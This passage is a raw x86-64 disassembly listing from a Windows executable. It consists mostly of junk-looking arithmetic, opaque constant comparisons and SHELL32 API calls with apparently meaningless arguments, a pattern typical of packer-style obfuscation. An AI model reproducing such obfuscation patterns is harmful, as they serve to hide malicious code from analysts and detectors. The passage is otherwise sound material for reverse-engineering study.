lea r8, [rsp + 0x2e930]
lea rdx, [rsp + 0x7548]
lea rcx, [rsp + 0x3f9c]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x40a0], eax
call fcn.1401dd040
nop
jmp 0x14000c021
movzx eax, word [rsp + 0x10f0]
mov rcx, qword [rsp + 0x77e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7590]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14000c0a9
mov r8d, SHDoDragDrop
mov rdx, qword [rsp + 0x7878]
mov rcx, qword [rsp + 0x7880]
call qword [sym.imp.SHELL32.dll_ExtractIconA]
mov qword [rsp + 0x7888], rax
mov eax, dword [rsp + 0x3f64]
movzx ecx, al
mov eax, dword [rsp + 0x4058]
shr eax, cl
mov dword [rsp + 0x409c], eax
cmp dword [rsp + 0x3fdc], 0x8b4a
je 0x14000c339
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7588]
mov qword [rsp + 0x7890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7890]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x77d8], rax
mov rax, qword [0x1401f8008]
mov rcx, qword [rsp + 0x71c8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0x7858]
mov byte [rcx], al
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0xfa8]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4030]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3fdc]
add eax, 0x5d
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x7688]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7828]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
movsx eax, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
movsx ecx, byte [rsp + 0x19b]
or eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0xfa8]
shl eax, cl
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7640]
mov qword [rsp + 0x7898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7898]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x76e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f0]
xor eax, ecx
mov rcx, qword [rsp + 0x77e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3f68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c10], eax
mov eax, dword [rsp + 0x409c]
mov ecx, dword [rsp + 0x3f64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
jmp 0x14000c0a9
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov qword [rsp + 0x78a0], rax
mov rax, qword [rsp + 0x77a0]
mov qword [rsp + 0x78a8], rax
cmp qword [rsp + 0x78a8], 0
je 0x14000c434
movabs rax, 0x57e82ed490880777
cmp qword [rsp + 0x78a8], rax
je 0x14000c3a5
jmp 0x14000c486
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0x1104], ax
lea rax, [rsp + 0x2e240]
mov qword [rsp + 0x20], rax
mov r9d, 7
lea r8, [rsp + 0x7668]
lea rdx, [rsp + 0x7808]
mov rcx, qword [rsp + 0x7638]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x40a4], eax
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x110c]
add eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
jmp 0x14000c486
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7858]
mov byte [rcx], al
mov rax, qword [rsp + 0x7668]
movzx eax, word [rax]
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x7568]
mov rcx, qword [rsp + 0x76a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7680]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x77d8], rax
mov eax, dword [rsp + 0x409c]
mov dword [rsp + 0x40a8], eax
cmp dword [rsp + 0x40a8], 0
je 0x14000c4c4
jmp 0x1401dbf98
cmp dword [rsp + 0x4044], 0x359c
jae 0x14000c9ab
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x19b]
and eax, ecx
mov byte [rsp + 0x197], al
movsx eax, byte [rsp + 0x19b]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x7608]
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7680]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7568]
mov rcx, qword [rsp + 0x7558]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f0]
sub eax, ecx
mov word [rsp + 0x10e8], ax
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x1104]
sub eax, ecx
mov word [section..data], ax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x1100]
or eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movsx eax, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
movsx ecx, byte [rsp + 0x197]
shl eax, cl
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4030]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7738]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7688], rax
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x110c]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x7860]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x78a0], rax
mov rax, qword [rsp + 0x77d8]
mov rcx, qword [rsp + 0x7600]
mov qword [rsp + 0x78b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7790]
mov ecx, dword [rsp + 0x3f94]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [section..data]
sar eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x1100]
and eax, ecx
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7858]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
mov rax, qword [rsp + 0x7610]
mov ecx, dword [rsp + 0x4010]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7598]
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x77d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x77d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77a0]
add rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
mov eax, dword [rsp + 0x4044]
add eax, 0x26
mov dword [rsp + 0x4044], eax
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
sar eax, cl
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
or eax, ecx
mov rcx, qword [rsp + 0x7858]
mov byte [rcx], al
jmp 0x14000c4c4
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x40ac], al
cmp byte [rsp + 0x40ac], 0x23
je 0x14000c9c6
jmp 0x14000ca1d
mov dword [rsp + 0x20], 0x61
lea r9, [rsp + 0x7530]
lea r8, [rsp + 0x3c10]
mov edx, 0x70
mov rcx, qword [rsp + 0x7778]
call qword [sym.imp.SHELL32.dll_ExtractIconExA]
mov dword [rsp + 0x4030], eax
mov rax, qword [rsp + 0x76a8]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
jmp 0x1401dbf2a
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0x7608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7598]
mov edx, dword [rsp + 0x3aa0]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x1401dbe41
mov eax, dword [rsp + 0x3f94]
mov dword [rsp + 0x40b0], eax
cmp dword [rsp + 0x40b0], 0x2a0e7f0e
je 0x14000ca93
cmp dword [rsp + 0x40b0], 0x3593536b
je 0x14000ca78
jmp 0x14000cadb
mov edx, SHUpdateImageA
mov rcx, qword [rsp + 0x7710]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x40b4], eax
jmp 0x14000cadb
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7588]
mov r9, qword [rax]
mov rax, qword [rsp + 0x7588]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x77d8]
mov rcx, qword [rsp + 0x7570]
call fcn.1401dcd70
nop
movzx eax, word [rsp + 0x10fc]
mov word [rsp + 0x1114], ax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x195]
movzx edx, byte [rsp + 0x194]
sub ecx, edx
cmp eax, ecx
jl 0x14000cc44
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov dword [rsp + 0x40b8], eax
cmp dword [rsp + 0x40b8], 0
je 0x14000cb5a
jmp 0x14000cbba
mov rax, qword [rsp + 0x7668]
movzx eax, word [rax]
mov word [rsp + 0x1118], ax
mov rax, qword [rsp + 0x76a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f64]
shr eax, cl
mov dword [rsp + 0x3f94], eax
mov rax, qword [rsp + 0x7570]
mov qword [rsp + 0x78b8], rax
mov rax, qword [rsp + 0x7738]
movzx ecx, al
mov rax, qword [rsp + 0x7688]
shl rax, cl
mov qword [rsp + 0x7860], rax
jmp 0x14000cc18
mov rax, qword [rsp + 0x76b0]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7688]
sub rcx, rax
mov rax, rcx
mov qword [0x1401f8008], rax
lea r9, [rsp + 0x75e8]
lea r8, [rsp + 0x194]
mov edx, 0x77
mov ecx, SHDoDragDrop
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
mov rax, qword [rsp + 0x7828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
and eax, ecx
mov byte [rsp + 0x194], al
lea rax, [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
mov qword [rsp + 0x78c0], rax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x1118]
sub eax, ecx
mov word [rsp + 0x10f4], ax
movsx eax, word [rsp + 0x10ec]
mov dword [rsp + 0x40bc], eax
cmp dword [rsp + 0x40bc], 0x64d5
je 0x14000cc7c
jmp 0x14000cc9d
mov rax, qword [rsp + 0x7540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4030]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4010], eax
jmp 0x1401dbe22
mov rax, qword [rsp + 0x78c0]
movzx eax, byte [rax]
mov byte [rsp + 0x40c0], al
cmp byte [rsp + 0x40c0], 0
je 0x14000ccf9
cmp byte [rsp + 0x40c0], 0x64
je 0x14000ccc8
jmp 0x1401dbd4b
mov rax, qword [rsp + 0x7680]
mov r9, qword [rax]
mov rax, qword [rsp + 0x7600]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x77d8]
mov rcx, qword [rsp + 0x7570]
call fcn.1401dcd70
nop
jmp 0x1401dbd4b
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov dword [rsp + 0x40c4], eax
cmp dword [rsp + 0x40c4], 0xbde
je 0x14000cd9d
cmp dword [rsp + 0x40c4], 0xc12
je 0x14000cd2e
jmp 0x14000ce88
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7860]
add rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x77d8]
mov qword [rsp + 0x78c8], rax
movabs rax, 0x7f4e738fe16fb753
cmp qword [rsp + 0x78c8], rax
je 0x14000cd74
jmp 0x14000cd92
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x19b]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
jmp 0x14000cd98
call fcn.1401dd040
nop
jmp 0x14000ce88
lea r9, [rsp + 0x2df80]
lea r8, [rsp + 0x2e930]
lea rdx, [rsp + 0x3f68]
mov rcx, qword [rsp + 0x7778]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x40c8], eax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f8]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x76e0]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jl 0x14000ce5b
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7858]
mov byte [rcx], al
movsx eax, word [rsp + 0xfa8]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x78c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
jmp 0x14000ce88
lea r9, [rsp + 0x7520]
lea r8, [rsp + 0x7610]
lea rdx, [rsp + 0x77c0]
lea rcx, [rsp + 0x7730]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x3fcc], eax
lea rax, [rsp + 0x3c10]
mov qword [rsp + 0x78d0], rax
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
movzx ecx, byte [rsp + 0x195]
mov rdx, qword [rsp + 0x7828]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x1401dbbf5
mov rax, qword [rsp + 0x7858]
movzx eax, byte [rax]
mov byte [rsp + 0x40cc], al
cmp byte [rsp + 0x40cc], 0xc
je 0x14000cee5
jmp 0x14000cf23
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x10ec]
xor eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x7828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x195], al
jmp 0x14000cf73
mov rax, qword [rsp + 0x78c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x196], al
movzx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0x77e0]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0x10f8]
movzx edx, word [rsp + 0x10fc]
and ecx, edx
cmp eax, ecx
jle 0x14000cf73
call fcn.1401dd040
nop
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov rcx, qword [rsp + 0x77e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
add eax, ecx
movsx ecx, byte [rsp + 0x19b]
movsx edx, byte [rsp + 0x197]
and ecx, edx
cmp eax, ecx
je 0x14000d089
mov rax, qword [rsp + 0x7568]
mov rcx, qword [rsp + 0x7558]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov byte [rsp + 0x40d0], al
cmp byte [rsp + 0x40d0], 0xe
je 0x14000d05e
cmp byte [rsp + 0x40d0], 0x52
je 0x14000d007
jmp 0x14000d084
lea rcx, [rsp + 0x3c10]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x40d4], eax
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7680]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78d0]
mov dword [rcx], eax
jmp 0x14000d084
mov r8, qword [rsp + 0x7748]
mov rdx, qword [rsp + 0x7728]
mov rcx, qword [rsp + 0x78d8]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
mov qword [rsp + 0x78e0], rax
jmp 0x14000d188
mov rax, qword [rsp + 0x77d0]
mov rax, qword [rax]
mov rcx, qword [0x1401f94c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e28], rax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov dword [rsp + 0x40d8], eax
cmp dword [rsp + 0x40d8], 0
je 0x14000d0f2
cmp dword [rsp + 0x40d8], 0x184a
je 0x14000d0d4
jmp 0x14000d13d
mov rax, qword [rsp + 0x7858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
or eax, ecx
mov byte [rsp + 0x194], al
jmp 0x14000d13d
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401f8002], al
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1114]
sar eax, cl
mov word [rsp + 0x10e8], ax
lea rax, [rsp + 0x1104]
mov qword [rsp + 0x78e8], rax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x1104]
and eax, ecx
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
lea rax, [rsp + 0x3f64]
mov qword [rsp + 0x78f0], rax
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3aa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c10], eax
mov rax, qword [rsp + 0x78c0]
movzx eax, byte [rax]
mov byte [rsp + 0x40dc], al
cmp byte [rsp + 0x40dc], 0
je 0x14000d1d0
cmp byte [rsp + 0x40dc], 0x36
je 0x14000d383
jmp 0x14000d40f
mov eax, dword [rsp + 0x3f74]
mov dword [rsp + 0x40e0], eax
cmp dword [rsp + 0x40e0], 0
je 0x14000d297
cmp dword [rsp + 0x40e0], 0x4595c4e
je 0x14000d1fe
jmp 0x14000d37e
mov rax, qword [rsp + 0x7618]
mov rcx, qword [0x1401f94c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f68]
mov dword [rsp + 0x40e4], eax
cmp dword [rsp + 0x40e4], 0x4a59e748
je 0x14000d23b
jmp 0x14000d26c
mov rax, qword [rsp + 0x78e8]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x78d0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x78e8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3f74]
call fcn.1401dce30
nop
jmp 0x14000d292
mov r8, qword [rsp + 0x7728]
mov rdx, qword [rsp + 0x78d8]
mov rcx, qword [rsp + 0x78f8]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
mov qword [rsp + 0x7900], rax
jmp 0x14000d37e
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov dword [rsp + 0x40e8], eax
cmp dword [rsp + 0x40e8], 0x69e
je 0x14000d2c8
cmp dword [rsp + 0x40e8], 0x88d
je 0x14000d2f2
jmp 0x14000d37e
movsx eax, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
mov rcx, qword [rsp + 0x78c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
call fcn.1401dd040
nop
jmp 0x14000d37e
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401f8008], rax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
lea r9, [rsp + 0x7760]
lea r8, [rsp + 0x7740]
lea rdx, [rsp + 0x2df00]
lea rcx, [rsp + 0x2e580]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x40a4], eax
movzx eax, word [rsp + 0x10f0]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
jmp 0x14000d40f
mov r9d, 0xb1
mov r8, qword [rsp + 0x7908]
mov edx, reloc.SHELL32.dll_ILGetSize
mov rcx, qword [rsp + 0x7910]
call qword [sym.imp.SHELL32.dll_DragQueryFileA]
mov dword [rsp + 0x40d4], eax
mov rax, qword [rsp + 0x7828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x77c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7828]
movzx ecx, byte [rcx]
sar eax, cl
